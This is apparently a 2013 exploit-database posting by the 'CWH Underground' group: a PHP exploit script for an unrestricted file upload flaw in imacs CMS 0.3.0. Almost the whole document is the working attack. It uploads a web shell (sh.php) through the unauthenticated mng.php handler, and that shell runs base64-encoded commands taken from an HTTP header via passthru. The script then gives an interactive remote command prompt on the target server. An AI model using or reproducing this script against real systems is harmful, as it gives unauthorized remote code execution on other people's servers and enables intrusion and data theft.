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imacs CMS 0.3.0 Shell Upload

Posted on 19 June 2013

<?php

/*

 ,--^----------,--------,-----,-------^--,
 | ||||||||| `--------' | O .. CWH Underground Hacking Team ..
 `+---------------------------^----------|
 `\_,-------, _________________________|
 / XXXXXX /`| /
 / XXXXXX / ` /
 / XXXXXX /\______(
 / XXXXXX /
 / XXXXXX /
 (________(
 `------'

 Exploit Title : imacs CMS Unrestricted File Upload Exploit
 Date : 18 June 2013
 Exploit Author : CWH Underground
 Site : www.2600.in.th
 Vendor Homepage : http://jrcmsdev.sourceforge.net/
 Software Link : http://jaist.dl.sourceforge.net/project/jrcmsdev/imacs_V0_3_0_608.cmp.zip
 Version : 0.3.0
 Tested on : Window and Linux

#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################

/src/assets/mng/mng.php

#####################################################
DESCRIPTION
#####################################################

Restricted access to this script isn't properly realized (Don't require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn't properly checked.

#####################################################
EXPLOIT
#####################################################

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
 if (!($sock = fsockopen($host, 80)))
 die("
[-] No response from {$host}:80
");

 fputs($sock, $packet);
 return stream_get_contents($sock);
}

print "
==============================================
";
print " imacs CMS Unrestricted File Upload Exploit 
";
print " 
";
print " Discovered By CWH Underground 
";
print "==============================================

";
print " ,--^----------,--------,-----,-------^--, 
";
print " | ||||||||| `--------' | O 
";
print " `+---------------------------^----------| 
";
print " `\_,-------, _________________________| 
";
print " / XXXXXX /`| / 
";
print " / XXXXXX / ` / 
";
print " / XXXXXX /\______( 
";
print " / XXXXXX / 
";
print " / XXXXXX / .. CWH Underground Hacking Team .. 
";
print " (________( 
";
print " `------' 

";

if ($argc < 3)
{
 print "
Usage......: php $argv[0] <host> <path>
";
 print "
Example....: php $argv[0] localhost /";
 print "
Example....: php $argv[0] localhost /imacs/
";
 die();
}

$host = $argv[1];
$path = $argv[2];

$payload = "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="upload"; filename="sh.php"
";
$payload .= "Content-Type: application/octet-stream

";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD]));
";
$payload .= "--o0oOo0o--
";

$packet = "GET {$path} HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Connection: close

{$payload}";

$response = http_send($host, $packet);

if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("
[-] Session ID not found!
");

$packet = "POST {$path}src/assets/mng/mng.php?dir= HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cookie: {$sid[1]}
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o
";
$packet .= "Connection: close

{$payload}";

http_send($host, $packet);

$packet = "GET {$path}content/uploads/sh.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close

";

while(1)
{
 print "
imacs-shell# ";
 if (($cmd = trim(fgets(STDIN))) == "exit") break;
 $response = http_send($host, sprintf($packet, base64_encode($cmd)));
 preg_match('/___(.*)/s', $response, $m) ? print $m[1] : die("
[-] Exploit failed!
");
}

################################################################################################################
# Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################
?>

 

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